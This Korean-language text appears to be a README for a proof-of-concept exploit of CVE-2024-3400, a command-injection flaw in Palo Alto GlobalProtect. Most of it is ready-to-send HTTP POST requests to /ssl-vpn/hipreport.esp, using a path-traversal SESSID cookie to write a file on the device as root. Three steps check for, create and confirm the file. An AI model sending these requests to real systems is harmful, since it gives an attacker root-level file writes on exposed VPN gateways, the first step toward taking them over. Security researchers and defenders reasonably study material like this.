0xr2r/cve-2024-3400-palo-alto-os-command-injectionCVE-2024-3400에 대한 개념 증명 익스플로잇, Palo Alto GlobalProtect의 명령 주입 취약점으로, 조작된 HTTP 요청을 통해 파일 업로드 및 검증을 시연합니다.
#단계 :
#1. 다음 GET 요청을 실행하거나 브라우저에서 URL을 열어 장치에 파일(0xr2r.txt)이 있는지 확인합니다.
https://domain.com/global-protect/portal/images/0xr2r.txt URL을 브라우저에서 열었을 때 404 응답이 오면 파일이 없는 것입니다.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
#2. 이제 아래 POST 요청을 실행하여 장치에 파일(0xr2r.txt)을 넣습니다. 이렇게 하면 주어진 경로에 root 권한으로 파일이 생성됩니다.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r
#3. 이제 다시 파일에 접근하려고 하면 404 대신 403을 받게 됩니다. 이는 파일(0xr2r.txt)이 root 권한으로 장치에 존재한다는 것을 증명합니다.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r